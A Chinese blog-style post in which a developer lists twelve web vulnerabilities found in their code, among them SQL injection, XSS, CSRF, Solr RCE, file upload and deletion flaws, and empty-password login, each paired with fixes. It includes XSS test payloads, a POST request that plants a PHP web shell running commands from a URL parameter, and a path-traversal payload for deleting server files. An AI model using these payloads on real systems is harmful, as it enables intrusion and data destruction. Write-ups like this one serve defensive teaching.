网络安全一直是热门话题,当我们写代码时往往要注意,整理漏洞如下:
一. SQL注入
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。
下图某个前辈大仙在前端页面拼接SQL参数传到后台,导致参数urlstr存在SQL注入风险。
$array_1 = explode("*",$HTTP_POST_VARS['urlstr']);
for ($i=0; $i<count($array_1); $i++) {
$array_2 = explode("=>", $array_1[$i]);
$key = trim($array_2[0]);
$inputpara[$key] = $array_2[1];
}
因为涉及界面太多,最终我采用增加令牌的方式处理。
主要处理机制: (1)使用静态占位符(参数化); (2)使用完成必要任务所需的最低特权来运行代码; (3)不显示详细的错误信息。 辅助处理机制: (1)参数为整形,可以验证数据类型 (2)强制过滤字符 a)’(单引号) b)"(引号) c)’(反斜线转义单引号) d)"(反斜杠转义引号) e))(结束括号) f);(分号)
二. 反射型跨站脚本攻击
攻击者可以构造 javacript 脚本,实现对访问者键盘记录,盗取 Cookie 和恶意网站跳转等攻击。
如下图用git传参,在浏览器输入 "><svg οnlοad=alert(document.domain),出现弹窗 PHP可以用changeHtmlSpecialChar转义特殊字符
主要处理机制: (1)对用户输入的特殊字符进行转义,重点处理以下特殊字符: "/<>
三. 存储型跨站脚本攻击
如下图,当输入框填 >“< svg οnlοad=alert(/jichenghan/)>,出现弹窗 主要处理机制: (1)检查变量是否正确初始化并明确变量类型 (2)不仅要验证数据的类型,还要验证其格式、长度、范围和内容。 (3)不要仅仅在客户端对数据做HTML标签转义以及过滤单引号,双引号等危险字符,关键的过滤步骤也应该在服务端进行。 (4)对输出到页面的数据也要做安全检查,数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
四. CSRF攻击
跨站请求伪造,使用管理员访问链接,即可删除ID为8898的企业信息。 主要处理机制: 添加token,只能使用一次,使用后失效。
五. 命令执行
ApacheSolr服务器的远程代码执行漏洞,可获取服务器权限。
由于Velocity模板存在注入所致。攻击者在知道Solr服务器上Core名称后,先把params.resource.loader.enabled设置为true(就可加载指定资源),再进行远程执行命令;
主要处理机制: (1)设置IP白名单,确保网络设置只允许可信的流量与Solr进行通信。 (2)更新官方相关漏洞的安全补丁
六. 任意文件读取
浏览Web服务器中的敏感文件(服务及系统配置等)。
程序源码泄露,代码审计导致利用更多漏洞。 主要处理机制: (1)需读取文件数量较少时,可使用白名单验证。 (2)对需读取文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。 (3)对需读取文件路径入库,通过查询id获取路径形式操作。 (4)禁止用户输入文件名及文件路径。 (5)过滤用户输入:…/ 字符
七. 任意文件上传
$FileContent = stripslashes($params['FileContent']);
if($pf = fopen($FileName, "w"))
{
if(!fwrite($pf, $FileContent))
{
$failMsg = "写入日志文件:".$FileName." 失败!";
return false;
}
fclose($pf);
}
post数据:
actionNext=pageUpdate&SrvID=1&SrvType=1&FileName=/www/htdocs/input/1.php&FileContent=<html></html><?php $descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
);
$process = proc_open($_GET["51secteam"], $descriptorspec, $pipes, null, null);
if (is_resource($process)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}?>&Operator=admin&DBID=1
发送请求后在input目录下生成木马文件1.php。
主要处理机制: 同上
八. 任意文件删除
function delevidenceImg($params,&$failMsg){
$path = "/evidence/".ceil($ID/1000000)."/".ceil($ID/1000)."/".$ID."/".$IMGNAME;
if(unlink($path))
{
}
post数据:
imgname=../../../var/www/htdocs/input/1.txt&id=../&reportdate=../
修改imgname为要删除的文件路径,即可成功删除服务器上文件。
主要处理机制: 同上
九. 水平越权
如下图使用git方式传参,遍历campid,即可越权查看其他数据 主要处理机制: 在执行功能前先对用户的权限进行校验
十. 垂直越权
低权限用户可以使用某些高权限用户才能使用的功能,甚至可以结合其他漏洞接管管理员账号,获得最高权限 主要处理机制: 同上
十一. 功能缺陷
图形验证码复用缺陷,可批量验证,存在撞库风险
十二. 弱口令
登陆的时候填好账号密码,抓包的时候把账号密码清空掉,利用空的账号密码,即可登陆 主要处理机制: 在服务器端判断账号密码是否为空
|